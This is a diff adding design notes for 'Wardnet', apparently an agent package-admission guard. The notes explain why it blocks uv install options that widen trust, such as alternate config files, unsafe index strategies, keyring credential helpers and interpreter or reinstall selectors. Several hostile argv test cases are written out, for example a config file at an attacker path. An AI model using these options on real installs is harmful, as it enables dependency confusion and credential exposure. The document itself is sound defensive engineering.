without relabeling it as project configuration authority. The project-root evidence classification is deliberately limited to the uv-owned parser slice of project-aware `uv run` commands, before the delegated child argv begins. + +Three alternatives were considered: + +1. Parse selected configuration and admit a request when its effective index appears equivalent. Rejected because this creates a second uv configuration interpreter inside Wardnet and moves runtime/configuration truth into the wrong bounded context. +2. Rely on EgressWeave to block the resulting network destination. Rejected because transport authorization cannot repair a pre-execution admission decision whose reviewed package authority has already been widened. +3. Use the existing bounded `uv_active_command_index` parser to separate reviewed uv global options from the active command, then classify only exact source-authority selectors in their owned parser slice while leaving executable support validation separate. Chosen because it is fail-closed, minimal, reversible, preserves causal evidence for documented placement, and does not broaden what Wardnet is willing to execute. + +## RED and causal repair + +Issue #264 records the original `--config-file` hostile case. Test-only commit `a718e68bd7f13df9d54f5bd85ef7cde781d4827d`, stacked directly on canonical Agent Artifact Admission #129, added an otherwise-approved uv install plus attached and separate configuration-file selectors after `uv pip install`. Hosted CI run `34490519712`, rust job `102915749368`, passed checkout, Rust setup and formatting, then failed in the test phase. The causal repair in #265 introduced the Wardnet-local configuration-authority classifier for that supported command placement. + +Successor review on canonical `#129@3f89f56c2de9039e9e6a9e34e4c6686f0eaf6da2` then found a placement-specific evidence defect: because the classifier first required fixed-position `uv pip install`, documented global forms such as `uv --config-file /tmp/attacker-uv.toml pip install ...` remained blocked only by the generic command grammar and did not carry `alternate_trust_root`. + +Successor test-only exact `b69312002943ff419152dd58dbc1880649120e44` added hermetic separate-value and attached-value global forms plus a near-spelling negative semantic control while production source remained byte-identical. Hosted CI `34715293235`, rust job `103611334897`, passed checkout, toolchain and formatting and then failed in the Test step; Clippy was skipped. That is the causal RED for missing security evidence rather than runner/bootstrap noise. The minimum successor repair recognizes exact `--config-file` and `--config-file=...` together with the already-bound global `--directory` selector before supported-command validation. + +Issue #389 records the next source-authority evidence defect. The configuration classifier already reused `uv_active_command_index`, but `--torch-backend` attribution still assumed fixed-position `uv pip install`. A documented global option could therefore shift the active `pip` command and hide the causal `alternate_trust_root` reason. Formatting-only test head `68835aca70757f9e17ae53c8f37d7729a2ff1cc5` kept production source byte-identical to its exact #129 parent and added both `uv --color never pip install ... --torch-backend=cpu` and separate-value `--torch-backend cpu` cases. Hosted CI `34729809606`, rust job `103650392270`, passed checkout, toolchain and formatting and then failed in the Test step, establishing the semantic RED. + +The minimum #390 repair reuses the existing `uv_active_command_index`; it does not create another uv parser. After locating the active top-level command it requires exact `pip` followed by exact `install`, and scans only that pip-install argument slice for exact `--torch-backend` or `--torch-backend=...`. Delegated `uv run` child argv is not interpreted as uv package-source authority. `supported_install_command` remains unchanged, so an otherwise unsupported global-option command remains generically forbidden in addition to carrying the causal `alternate_trust_root` reason. Exact submitted argv identity remains part of admission evidence. + +Issue #391 records the project-root evidence defect. Exact formatted test-only head `153e212d778e824ae4b4a495c53531137ba1ae53`, stacked directly on canonical `#129@81c35ec36d1289446b54d2b937e42f8fc9df2751`, added attached and separate `uv run --project` hostile cases while production source remained unchanged. Hosted CI run `34732327912`, rust job `103657281899`, passed checkout, toolchain and formatting, then failed in the Test step with the hostile command classified only as `[ForbiddenCommand, ArtifactNotApproved]`; the required `AlternateTrustRoot` causal evidence was absent. Delegated-child, nearby-spelling and `uv pip --project` exclusion controls passed on the same exact RED head. + +The minimum #392 repair reuses the existing active-command and `uv_run_owned_argument_end` parser boundary. It classifies only exact `--project` / `--project=...` tokens in the uv-owned `run` slice, before delegated child argv. It does not widen `supported_install_command`, inspect project files, or reinterpret `uv pip --project` as configuration authority. This keeps unsupported `uv run` fail-closed while preserving the stable causal `alternate_trust_root` reason and exact submitted-argv audit identity. + +## Risk and follow-up + +The CLI selectors are only observable configuration channels. Environment-provided configuration such as `UV_CONFIG_FILE` and `UV_TORCH_BACKEND`, inherited user/system files, selected-project contents, and effective runtime filesystem visibility cannot be proven from the structured argv alone and remain downstream runtime/configuration authority. Agent Artifact Admission must continue to fail closed on caller-controlled argv channels it can observe without claiming control over ambient execution state. + +Astral marks `torch-backend` as preview behavior that may change. The parser therefore deliberately binds only the documented exact option spelling and `uv pip install` source-authority slice rather than copying backend/index tables or broader uv semantics into Wardnet. The `--project` repair likewise binds only the documented exact selector in the uv-owned project-aware parser slice and deliberately excludes `uv pip`, where Astral states the option has no effect. Future uv changes require a fresh hostile contract and exact-head evidence before policy expansion. + +A child merge into #129 is not protected-product completion. #264, #389 and #391 remain open until their effective Agent Artifact Admission lineage reaches protected `main` or a verified complete successor, and each successor #129 head must reacquire exact-head CI, fuzz, security, SAST and delegated CodeQL evidence without predecessor transfer. + +## Traceability + +- CWE-15 describes the weakness class in which externally controlled input changes system or configuration settings that affect behavior. The uv configuration and package-source selectors are treated here as admission authority changes rather than ordinary argument detail. +- NIST SSDF PW.4 directs software producers to reuse existing, well-secured software when feasible instead of duplicating functionality, with particular importance for security functionality. Reusing Wardnet's already-reviewed bounded `uv_active_command_index` and `uv_run_owned_argument_end` parser boundaries rather than adding a second uv parser aligns with that practice and reduces divergent security interpretation. The repository already carries the redistributable NIST SP 800-218 source PDF under `docs/papers/`; no duplicate copy is needed for this change. +- Astral's current CLI reference is authoritative for the top-level `uv [OPTIONS] ` grammar, project-root selector, and the statement that `--project` has no effect in the `uv pip` interface. This is why project-root evidence is command-phase sensitive rather than a global substring rule. +- Astral's configuration-files reference documents project-level `pyproject.toml` and `uv.toml` configuration. Combined with the CLI project-root semantics, this establishes caller-selected project discovery as configuration authority for project-aware commands without requiring Wardnet to parse the selected files. +- Astral's settings reference states that `torch-backend` changes package fetching for the PyTorch ecosystem, ignores configured index URLs for those packages, and is respected only by `uv pip` commands. This establishes `--torch-backend` as package-source authority rather than a presentation or performance flag. +- Astral's PyTorch integration guide documents current command-line forms such as `uv pip install torch --torch-backend=auto` and specific backend selection. These vendor pages are linked rather than copied into `docs/papers/`: this change does not assert a redistribution license for snapshots of the Astral documentation. + +## References + +Astral Software, Inc. (2026). *uv command-line reference*. https://docs.astral.sh/uv/reference/cli/ + +Astral Software, Inc. (2026). *uv settings reference*. https://docs.astral.sh/uv/reference/settings/ + +Astral Software, Inc. (2026, August 14). *Using uv with PyTorch*. https://docs.astral.sh/uv/guides/integration/pytorch/ + +Astral Software, Inc. (2026). *Configuration files*. https://docs.astral.sh/uv/configuration/files/ + +MITRE. (2026). *CWE-15: External control of system or configuration setting*. https://cwe.mitre.org/data/definitions/15.html + +Souppaya, M., Scarfone, K., & Dodson, D. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218 diff --git a/docs/doctoring/uv-index-strategy-authority.md b/docs/doctoring/uv-index-strategy-authority.md new file mode 100644 index 00000000..d7f08f40 --- /dev/null +++ b/docs/doctoring/uv-index-strategy-authority.md @@ -0,0 +1,29 @@ +# uv index-strategy authority + +Wardnet treats caller-selected uv index search strategy as Agent Artifact Admission evidence, not as network execution policy. The reviewed `uv pip install` boundary permits uv's default `first-index` strategy, including its explicit attached and separate-value forms. It rejects `unsafe-first-match` and `unsafe-best-match` with `AlternateTrustRoot` because both relax the first-index trust boundary across package indexes. + +Astral documents `first-index` as the default strategy and states that stopping at the first index containing a package name is intended to prevent dependency-confusion attacks. Astral describes `unsafe-first-match` as searching for compatible versions across all indexes and `unsafe-best-match` as searching all indexes for the best version; the compatibility guide explicitly warns that `unsafe-best-match` exposes users to dependency-confusion risk. + +Astral's CLI grammar also permits top-level uv options before the active command. Wardnet therefore reuses the shared top-level uv command parser when attributing unsafe index-strategy evidence, so a submitted command such as `uv --color never pip install ... --index-strategy=unsafe-best-match` cannot lose its causal `AlternateTrustRoot` reason. This evidence-only parsing does not make that argv admissible: Wardnet's supported install grammar remains the narrower direct `uv pip install`, so the same global-option form remains `ForbiddenCommand` as well. + +Wardnet only evaluates structured argv submitted in the install intent. It does not read `uv.toml`, `pyproject.toml`, environment variables, certificate stores, DNS, TLS state, registry contents, or package indexes. Effective runtime configuration and isolation remain owned by `quarantine-sandbox-runtime`; executable egress authorization remains owned by EgressWeave; package/static analysis remains owned by AppGuardrail. + +## Acceptance boundary + +- `uv pip install ...` with no explicit index strategy remains admissible when every other admission requirement is satisfied. +- `--index-strategy=first-index` and `--index-strategy first-index` remain admissible. +- `--index-strategy=unsafe-first-match`, `--index-strategy unsafe-first-match`, `--index-strategy=unsafe-best-match`, and `--index-strategy unsafe-best-match` are blocked with explicit `AlternateTrustRoot` evidence. +- Reviewed top-level uv options before `pip install` cannot hide unsafe index-strategy evidence; those argv remain generically forbidden rather than widening the install grammar. +- Near-spellings do not acquire uv semantics. +- Delegated child argv under unsupported `uv run` flows is not reinterpreted as `uv pip install` authority. +- The repair does not widen Wardnet's supported install grammar beyond direct `uv pip install`. + +## References + +Astral Software. (n.d.). *Package indexes*. uv documentation. Retrieved September 13, 2026, from https://docs.astral.sh/uv/concepts/indexes/ + +Astral Software. (n.d.). *Compatibility with pip: Package priority*. uv documentation. Retrieved September 13, 2026, from https://docs.astral.sh/uv/pip/compatibility/#package-priority + +Astral Software. (n.d.). *Settings: index-strategy*. uv documentation. Retrieved September 13, 2026, from https://docs.astral.sh/uv/reference/settings/#index-strategy + +Astral Software. (n.d.). *CLI reference: uv pip install*. uv documentation. Retrieved September 13, 2026, from https://docs.astral.sh/uv/reference/cli/#uv-pip-install diff --git a/docs/doctoring/uv-keyring-provider-authority.md b/docs/doctoring/uv-keyring-provider-authority.md new file mode 100644 index 00000000..00df5d5a --- /dev/null +++ b/docs/doctoring/uv-keyring-provider-authority.md @@ -0,0 +1,81 @@ +# uv keyring provider credential authority + +Status: Proposed implementation evidence on Draft #287. This note is not protected or released truth until the effective delta reaches protected `main`. + +## Decision + +Wardnet treats caller-selected `uv pip install --keyring-provider ` as an expansion of credential/trust authority unless the value is exactly `disabled`. The decision blocks before execution with the existing stable `alternate_trust_root` reason. Ordinary uv behavior remains admissible, and explicitly retaining `--keyring-provider=disabled` does not expand authority. + +Astral currently documents only `disabled` and `subprocess`, with keyring authentication disabled by default. Denying other explicit values is a forward-compatible admission rule, not a claim that today's uv parser accepts those values. Wardnet does not bind the installed uv binary/version in this intent; therefore an explicit unknown value cannot be safely treated as permanently inert if a later client release adds a new active credential provider. + +This decision is deliberately limited to Wardnet's structured installer-intent admission boundary. Wardnet does not execute `keyring`, inspect `PATH`, read credentials, select runtime environment configuration, or authorize network transport. Keyverse remains the credential/identity backend; `quarantine-sandbox-runtime` remains effective runtime/environment and hostile-execution authority; EgressWeave remains executable outbound transport/TLS authority. + +## Problem and threat model + +Astral's current uv documentation states that keyring authentication is disabled by default and that uv currently supports only the `subprocess` provider. The subprocess provider invokes the `keyring` command to obtain credentials. Consequently, a caller can keep the reviewed package name/version/registry/hash and dependency cardinality unchanged while adding a new PATH-resolved credential-helper execution dependency through argv. + +The first repair blocked the currently active `subprocess` literal. Fresh review identified a second-order fail-open: because the Wardnet intent does not attest the uv client version, a future uv release could add another non-disabled provider. An argv value rejected today could then begin discovering credentials under an already-approved Wardnet policy unless the admission contract treats every explicit non-disabled provider as authority-bearing. + +For Agent Artifact Admission, that is a material authority change. The reviewed artifact coordinate does not authorize the identity, behavior or credential sources of ambient helper executables, and admission receipts must not silently gain meaning after client capability evolution. + +## Alternatives considered + +### Allow uv's provider selector and delegate all enforcement downstream + +Rejected. Quarantine and EgressWeave own runtime isolation and transport, but Wardnet still owns whether the structured install intent is admissible. Deferring an argv-visible authority expansion would make admission receipts overstate what was reviewed. + +### Resolve and attest the `keyring` executable inside Wardnet + +Rejected. PATH resolution, process execution and effective environment inspection belong to the runtime boundary, not the admission policy evaluator. Pulling those capabilities into Wardnet would duplicate quarantine/Keyverse responsibilities and make a deterministic policy decision depend on ambient state. + +### Block only today's `subprocess` provider + +Rejected after hostile review. It is sufficient only while upstream's provider set is frozen. Wardnet does not bind that client capability version, so the rule would fail open if another active provider were introduced later. + +### Block every explicit provider including `disabled` + +Rejected. uv's default is disabled, and explicitly retaining `disabled` adds no credential-helper authority. The narrower invariant is therefore “every explicit non-disabled provider is authority-expanding.” + +### Reuse pip-compatible option abbreviation matching for uv + +Rejected. The existing direct-pip classifier intentionally recognizes pinned pip parser abbreviations. uv's CLI is a different grammar. Wardnet matches the exact uv option name rather than assuming pip abbreviation behavior. + +## RED → repair evidence + +Canonical parent #129 is `341a3e05a614654536431eda8e553585b2533886`. + +Initial test-only #287 head `85b7b55648f29dc45a38dd01134583610fb0952f` changed only `crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs`; production source remained byte-identical to the parent. Parent CI `34542090175` is terminal success. Child CI `34542208606`, rust job `103087106839`, acquired hosted `ubuntu-24.04`, passed checkout/toolchain/format, then failed in Test because attached `--keyring-provider=subprocess` remained `Allow`. Fuzz `34542208653` is terminal success. This is hosted semantic RED for the original subprocess authority gap. + +Minimum production repair `9ce55e3f999932a041610bb7e67e47f406a4e9a6` extended the existing PyPI keyring-provider classifier to the admitted `uv pip install` command path while preserving direct pip/pip3 abbreviation and `import|subprocess` behavior. Follow-up `fca4c79151c1ae88cf36414e97d63ffd6ac4d0ca` added attached/separate subprocess reason coverage and explicit `disabled` preservation. + +Fresh review then added the future-provider hostile contract in test-only `7121333b2f37eb6a721e730c9c91a1f29dff63c1`: an explicit unknown non-disabled value must fail closed while exact `disabled` remains admissible. Formatter-only successors preserved production semantics until exact `7f7582fa06db5108de6e22aa33eb9e9470fec815` reached hosted CI `34547136579`, rust job `103102105097`, runner `1001873718`. Formatting succeeded; the locked workspace Test step ran. Every preceding suite shown in the job log passed, including the existing direct-pip keyring contract and the three other uv keyring tests. `unknown_non_disabled_uv_keyring_provider_fails_closed` alone failed with `left: Allow`, `right: Block`; Clippy was skipped because Test failed. This is the required hosted semantic RED for forward-compatible provider authority. + +Minimum causal repair `3e8725c87e61e8a667573704b6478f76c503af1e` changes only the existing classifier predicate: direct pip/pip3 still blocks the same known `import|subprocess` providers, exact uv `--keyring-provider` now treats every value except `disabled` as authority-expanding. It adds no uv parser emulation, PATH lookup, credential access, environment inspection, transport behavior or new bounded context. + +Exact-head GREEN is not claimed here. It requires a successor exact head containing this repair and this doctoring to pass hosted formatting, locked workspace tests, strict Clippy, Fuzz and the then-live security/static-analysis/review/thread gates. Predecessor results do not transfer after head movement. + +## Security properties and limits + +- Admission fails closed for any argv-visible non-disabled uv provider, including future provider values not supported by the current client. +- Exact `disabled` remains the sole explicit no-provider baseline. +- Direct pip/pip3 keyring semantics and pinned abbreviation behavior are unchanged. +- The decision uses the existing `alternate_trust_root` reason rather than inventing a parallel credential taxonomy. +- Wardnet performs no helper discovery or credential access. +- Environment/config forms such as `UV_KEYRING_PROVIDER` remain effective runtime/configuration authority and must be constrained by the canonical runtime boundary; Wardnet does not claim to observe them from this structured argv contract. +- The admission receipt remains evidence of pre-execution policy only, not proof of retrieved bytes, runtime isolation, transport authorization or activation. + +## Traceability + +Astral Software, Inc. (2026). *Compatibility with pip: Registry authentication*. uv. https://docs.astral.sh/uv/pip/compatibility/ + +Astral Software, Inc. (2026). *HTTP credentials*. uv. https://docs.astral.sh/uv/concepts/authentication/http/ + +National Institute of Standards and Technology. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile* (NIST SP 800-218A). https://doi.org/10.6028/NIST.SP.800-218A + +National Institute of Standards and Technology. (2025). *Security and privacy controls for information systems and organizations, Release 5.2.0* (NIST SP 800-53 Rev. 5). Relevant least-privilege and authenticator-management controls include AC-6 and IA-5. https://csrc.nist.gov/projects/risk-management/sp800-53-controls + +MITRE. (2025). *CWE-15: External control of system or configuration setting*. https://cwe.mitre.org/data/definitions/15.html + +## Follow-up + +Reacquire exact-head hosted GREEN after this repair and doctoring. Then verify current reviews/threads and exact #129 base compatibility before ordinary expected-head integration of #287 into #129. Reacquire canonical #129 gates on its new exact head before starting serialized #285; #286 and #288 follow. Keep #284 open until the effective delta reaches protected `main`. \ No newline at end of file diff --git a/docs/doctoring/uv-python-download-safety.md b/docs/doctoring/uv-python-download-safety.md new file mode 100644 index 00000000..084c7acd --- /dev/null +++ b/docs/doctoring/uv-python-download-safety.md @@ -0,0 +1,44 @@ +# uv Python download safety at Agent Artifact Admission + +## Problem + +Wardnet treats an admitted package-install intent as authority for the artifacts explicitly bound by the policy and request. That cardinality guarantee is incomplete for `uv pip install` unless automatic Python acquisition is disabled. + +The current uv CLI reference documents that `uv pip install` searches for a Python interpreter for package resolution and, when no suitable interpreter is found, can install one automatically. uv exposes `--no-python-downloads` to disable automatic Python downloads. A reviewed PyPI artifact therefore must not inherit implicit authority to acquire a Python distribution that is absent from `InstallIntent.artifacts`. + +## Wardnet control + +For a request that otherwise satisfies Wardnet's supported `uv pip install` admission grammar, the submitted argv must contain the exact Boolean flag `--no-python-downloads` before an explicit `--` option terminator. Missing, near-spelled, or assigned forms such as `--no-python-download`, `--no-python-downloads=false`, or a token after `--` do not satisfy the control. + +The guard is applied only to an intent that the existing admission pipeline would otherwise allow. This preserves the primary causal reason for requests already denied by registry, trust-root, install-root, configuration, mutation, build-variant, dependency-cardinality, interpreter-authority, or other controls. The audit `command_sha256` remains bound to the exact submitted argv. + +A representative admissible command shape is: + +```text +uv pip install cwl-example==1.2.3 --require-hashes --no-deps --no-python-downloads +``` + +The flag closes only implicit Python-distribution acquisition. It does not approve a caller-selected interpreter, alternate installation root, mutable dependency set, alternate registry or trust root, package-manager configuration override, or any other authority that Wardnet already evaluates separately. + +## Ownership boundary + +Wardnet owns the pre-execution admission decision, causal reason codes, and security evidence. It does not discover or install Python, inspect ambient interpreter state, fetch package bytes, execute package managers, authorize network destinations, or isolate the eventual process. + +- `quarantine-sandbox-runtime` owns effective interpreter, filesystem, process/session isolation, cleanup, and hostile execution controls. +- EgressWeave owns executable outbound transport authorization. +- AppGuardrail owns static package and code-security analysis. +- `contextual-orchestrator` owns Agent and LLM orchestration. + +This control does not copy or reimplement those owners' runtime behavior. It prevents Wardnet from issuing an admission receipt whose explicit artifact set is narrower than the package manager's permitted acquisition behavior. + +## Verification contract + +The hostile contract starts from an otherwise approved single-artifact uv install and proves that the no-guard, near-spelling, and assigned-false forms fail closed with `MissingSafetyFlag`, while exact `--no-python-downloads` preserves the approved path. Exact submitted argv remains independently verifiable through `command_sha256`. + +Production acceptance requires the same exact head to pass the locked Rust workspace tests, strict Clippy, and the repository's applicable security and fuzz gates. Predecessor or test-only results are not promoted to the repaired head. + +## References + +Astral Software, Inc. (n.d.). *uv CLI reference*. Retrieved September 13, 2026, from https://docs.astral.sh/uv/reference/cli/ + +Astral Software, Inc. (n.d.). *Python versions*. Retrieved September 13, 2026, from https://docs.astral.sh/uv/concepts/python-versions/ diff --git a/docs/doctoring/uv-python-interpreter-authority.md b/docs/doctoring/uv-python-interpreter-authority.md new file mode 100644 index 00000000..0e41bf13 --- /dev/null +++ b/docs/doctoring/uv-python-interpreter-authority.md @@ -0,0 +1,49 @@ +# uv Python interpreter authority: causal admission evidence + +## Decision record + +Wardnet treats an explicit `uv pip install --python ` or `-p ` selection as caller-controlled installation-environment authority. The existing admission policy therefore blocks the request with `alternate_install_root`. This document does not make Wardnet responsible for Python discovery, environment activation, package execution, isolation, or egress; those remain outside Agent Artifact Admission and with their canonical owners. + +The current defect was narrower than an admission bypass. On the exact parent candidate `142c473b0d706f2a75533f683b1ceae429b442e2`, the assigned form `--python=/usr/bin/python3` was already blocked causally with `alternate_install_root`. The separate form `--python /usr/bin/python3` was also blocked, but `/usr/bin/python3` was additionally counted as a package operand, adding a false `artifact_not_approved` reason. Security evidence must distinguish the authority that actually caused denial from unrelated artifact-policy failures. + +The minimum repair keeps the existing install-root classifier unchanged and changes only artifact-operand extraction: the value consumed by the already-recognized `uv` `--python`/`-p` selector is option data rather than a package operand. A genuine second package operand remains `artifact_not_approved`. + +## RED → GREEN evidence + +- Parent: `feat/agent-artifact-admission@142c473b0d706f2a75533f683b1ceae429b442e2`. +- Formatted RED head: `c0bddd842c07b91943904bf0334f1c9bd63960e5`. +- Hosted CI `34590170121` reached semantic Test RED after formatting passed. The approved baseline and assigned form passed; the separate long form returned `[AlternateInstallRoot, ArtifactNotApproved]` instead of the single causal `AlternateInstallRoot` reason. +- Repair contract: assigned long form, separate long form, and separate short `-p` form all remain fail-closed with `AlternateInstallRoot`; an additional undeclared package operand combined with a Python selector must still add `ArtifactNotApproved`. +- Final GREEN is accepted only from the unchanged current repair head after its repository workflows finish successfully; predecessor receipts are historical evidence only. + +## Security rationale and owner boundary + +Astral documents `--python, -p` for `uv pip install` as selecting the Python interpreter into which packages are installed and cautions that an alternative interpreter path can modify a system Python installation. That makes interpreter selection material to the destination/effective environment of an admitted install, not package identity. Wardnet may classify that submitted authority and emit durable admission evidence, but it does not discover the effective runtime environment or execute the install. + +Peer-reviewed software-supply-chain research supports treating dependency-manager installation as a security-sensitive boundary and retaining evidence that identifies the exact operation and artifact authority being exercised. Ohm et al. (2020) analyzed 174 malicious packages distributed through npm, PyPI, and RubyGems and explicitly linked dependency-manager resolution and installation to real supply-chain attack paths. Torres-Arias et al. (2019) showed that end-to-end supply-chain integrity depends on verifiable evidence for the steps and artifacts that actually participated in delivery. Neither paper specifies `uv` command-line syntax; together they support the narrower Wardnet decision that package-manager admission and its audit reasons must remain precise rather than conflating an interpreter selector with a package operand. + +This control follows the secure-development principle of repairing the root parsing/evidence defect rather than weakening the denial or treating the false secondary reason as harmless. NIST's current SSDF 1.2 work continues to emphasize secure and reliable development practices that address vulnerability root causes; the cited revision is an Initial Public Draft and is therefore supporting guidance rather than a finalized requirement. OWASP's 2026 agent-security work likewise emphasizes constraining the effective reach of agent tools and permissions. Those sources support a narrow deterministic admission boundary; they do not transfer quarantine, runtime, identity, egress, or orchestration ownership into Wardnet. + +The academic papers are cited and linked rather than vendored in this PR; Wardnet does not infer repository redistribution rights from public availability alone. + +## Traceability + +| Evidence / requirement | Wardnet control | +| --- | --- | +| `uv pip install --python/-p` selects the installation interpreter/environment | `requests_alternate_install_root` keeps `--python` and `-p` fail-closed as `AlternateInstallRoot` | +| Option values are not package operands | `validate_artifact_operands` excludes only the value consumed by separate `--python`/`-p` | +| Real undeclared package operands remain denied | hostile regression combines `--python` with an extra package and requires `ArtifactNotApproved` | +| Durable evidence identifies the causal authority | selector-only cases require exactly `AlternateInstallRoot` | +| Foreign execution/isolation/egress authority is not duplicated | no installer execution, environment discovery, sandbox, egress, or orchestration implementation is added | + +## References + +Astral Software. (2026). *uv command reference: uv pip install*. https://docs.astral.sh/uv/reference/cli/ + +National Institute of Standards and Technology. (2025). *Secure Software Development Framework (SSDF) version 1.2: Recommendations for mitigating the risk of software vulnerabilities* (NIST SP 800-218r1, Initial Public Draft). https://csrc.nist.gov/news/2025/draft-ssdf-version-1-2 + +Ohm, M., Plate, H., Sykosch, A., & Meier, M. (2020). Backstabber's knife collection: A review of open source software supply chain attacks. In *Detection of intrusions and malware, and vulnerability assessment (DIMVA 2020)* (Lecture Notes in Computer Science, Vol. 12223, pp. 23–43). Springer. https://doi.org/10.1007/978-3-030-52683-2_2 + +OWASP GenAI Security Project. (2026, September 1). *OWASP GenAI Security Project unveils 2026 Top 10 for LLM applications, new Agent Control Standard and sponsors as community tops 30,000 members*. https://genai.owasp.org/2026/09/01/owasp-genai-security-project-unveils-2026-top-10-for-llm-applications-new-agent-control-standard-and-sponsors-as-community-tops-30000-members/ + +Torres-Arias, S., Afzali, H., Kuppusamy, T. K., Curtmola, R., & Cappos, J. (2019). in-toto: Providing farm-to-table guarantees for bits and bytes. In *28th USENIX Security Symposium (USENIX Security 19)* (pp. 1393–1410). USENIX Association. https://www.usenix.org/conference/usenixsecurity19/presentation/torres-arias diff --git a/docs/doctoring/uv-reinstall-mutation-authority.md b/docs/doctoring/uv-reinstall-mutation-authority.md new file mode 100644 index 00000000..4b0f8625 --- /dev/null +++ b/docs/doctoring/uv-reinstall-mutation-authority.md @@ -0,0 +1,44 @@ +# uv reinstall mutation authority + +Verified 2026-09-11 against the current uv command reference, NIST SP 800-53 Release 5.2.0, and CWE 4.20. This note records the narrow evidence behind Wardnet's Agent Artifact Admission rule for `uv pip install` mutation semantics. It does not make Wardnet an installer, package resolver, filesystem authority, or quarantine runtime. + +## Problem + +A reviewed Python artifact coordinate authorizes the submitted package identity and the reviewed installation capability. It does not, by itself, authorize the caller to force replacement of packages that the executor would otherwise leave installed. + +The uv command reference documents `--reinstall` and its alias `--force-reinstall` as reinstalling packages regardless of whether they are already installed. It separately documents `--reinstall-package ` as reinstalling a selected package regardless of installed state. Those switches change mutation semantics without changing the reviewed package coordinate. If admission treats them as ordinary argv, a caller can acquire replacement authority that was absent from the reviewed intent. + +This is an admission-control problem, not installed-state inspection. Wardnet only classifies the submitted command before execution. The canonical execution/isolation owner remains responsible for the actual environment, filesystem, cleanup, and recovery semantics. + +## Decision + +For the current `uv pip install` admission profile: + +- caller-supplied `--reinstall` fails closed as `artifact_not_approved`; +- caller-supplied `--force-reinstall` fails closed as the same unreviewed mutation authority; +- caller-supplied `--reinstall-package` and `--reinstall-package=` fail closed as the same authority; +- exact command grammar is limited to the documented `uv pip install` path; unrelated uv commands do not inherit this classifier; +- direct `pip` and `pip3` retain their existing mutation-option behavior; +- Wardnet does not inspect installed packages, decide what should be replaced, execute uv, or infer ambient uv configuration. + +A future approved reinstall capability would require a separately versioned policy contract that binds the mutation scope explicitly. It must not be inferred from ordinary artifact approval. + +## RED → repair evidence + +Hosted RED head `e2ef6f13eb2c19672967c20a73fa6bcb9f8e1dfa`, CI run `34553625991`, reached the actual admission assertions after formatting succeeded. The reviewed ordinary uv install remained `Allow`, while `--reinstall`, `--force-reinstall`, and `--reinstall-package=cwl-example` were all incorrectly `Allow` rather than `Block`. Existing direct-pip force-reinstall and ignore-installed contracts passed in the same workspace run, isolating the defect to uv classification. + +Production repair `0d8e61d584965f9835f68e79b722eb5be7f0fbb2` extends the existing PyPI mutation-authority classifier to exact `uv pip install` grammar and recognizes the documented reinstall selectors. A domain-local unit contract also binds both the separate-value option token and attached-value spelling without depending on positional-artifact rejection. Exact-head GREEN is required after this doctoring commit; predecessor check conclusions do not transfer. + +## Standards traceability + +NIST SP 800-53 Release 5.2.0 is the current published control release. The relevant control-family relationship is configuration management: CM-3 requires controlled configuration changes and CM-5 restricts access to configuration changes. Wardnet's fail-closed classification is an implementation-level supporting control: unreviewed argv cannot silently add replacement semantics to an approved package action. This mapping is evidence traceability, not a claim that one admission rule alone satisfies either control. + +CWE-15, *External Control of System or Configuration Setting*, describes the weakness class in which externally supplied input controls settings or values that affect system behavior. The uv reinstall selectors are caller-controlled command settings that alter mutation behavior, so CWE-15 is a suitable root-cause mapping. The mitigation applied here is privilege separation at the admission boundary: ordinary artifact approval is not treated as mutation authority. + +## APA 7 references + +Astral Software Inc. (2026). *Commands | uv*. Retrieved September 11, 2026, from https://docs.astral.sh/uv/reference/cli/ + +MITRE. (2026). *CWE-15: External control of system or configuration setting (Version 4.20)*. https://cwe.mitre.org/data/definitions/15.html + +National Institute of Standards and Technology. (2020). *Security and privacy controls for information systems and organizations (NIST Special Publication 800-53, Revision 5; Release 5.2.0 issued August 27, 2025)*. U.S. Department of Commerce. https://doi.org/10.6028/NIST.SP.800-53r5 diff --git a/docs/doctoring/uv-symlink-link-mode-authority.md b/docs/doctoring/uv-symlink-link-mode-authority.md new file mode 100644 index 00000000..3043000e --- /dev/null +++ b/docs/doctoring/uv-symlink-link-mode-authority.md @@ -0,0 +1,33 @@ +# uv symlink link-mode authority + +Verified 2026-09-13. This note records the vendor semantics and local security decision behind Wardnet's Agent Artifact Admission handling of `uv pip install --link-mode=symlink`. It does not claim control of uv's cache, target filesystem, or execution sandbox; those remain executor/quarantine concerns outside Wardnet's admission-evidence boundary. + +## Security decision + +Astral documents `uv pip install [OPTIONS] ...` and the `--link-mode` option for choosing how installed package files are materialized from uv's global cache. The documented `symlink` mode symbolically links installed packages to cache content, and Astral warns that this tightly couples the target environment to the cache: clearing the cache can break installed packages. A reviewed package coordinate and digest therefore do not by themselves authorize a caller to change the materialization relationship between the approved artifact and the target environment. + +Wardnet classifies an explicit `--link-mode=symlink` or `--link-mode symlink` on the active `uv pip install` command as separate `ArtifactNotApproved` evidence. The classifier reuses the shared `uv_active_command_index` parser so documented top-level uv options before `pip` cannot erase that causal evidence. This does **not** widen Wardnet's supported install grammar: a submitted form such as `uv --color never pip install ... --link-mode=symlink` remains generically forbidden while also preserving the specific symlink-materialization reason. + +The classifier is deliberately command-bounded. `uv pip sync`, delegated child argv, and nearby option spellings do not inherit `uv pip install` link-mode authority. Wardnet does not execute uv, inspect or mutate uv's cache, create links, or decide filesystem isolation. The executor and quarantine runtime remain responsible for controlled execution and filesystem behavior after an intent is admitted. + +## Local evidence + +- `crates/agent-artifact-admission/src/uv_link_mode_authority.rs` parses the active uv command with `policy::uv_active_command_index`, requires exact `pip` followed by exact `install`, and then inspects only that install argument slice for the documented symlink forms. +- `crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs` covers attached and separate symlink forms, reviewed top-level uv options, and a nearby spelling control. +- Issue #401 and PR #402 retain the hostile RED→GREEN evidence for the parser-phase gap. The hosted RED on exact test-only head `01d0a524da802720135a0be8ba6d62e88022e7ea` reached the new contract and returned only `ForbiddenCommand`, demonstrating loss of the separate `ArtifactNotApproved` reason before the production repair. + +## Standards traceability + +NIST SP 800-218 SSDF 1.1 recommends integrating secure-development practices that reduce vulnerabilities and address their root causes. Wardnet applies that principle here by fixing the shared parser-phase cause rather than adding a one-off command string exception. This note does not assert NIST certification or full SSDF conformance. + +As of 2026-09-13, NIST lists SP 800-218 as the final SSDF Version 1.1 publication and SP 800-218 Rev. 1 / SSDF 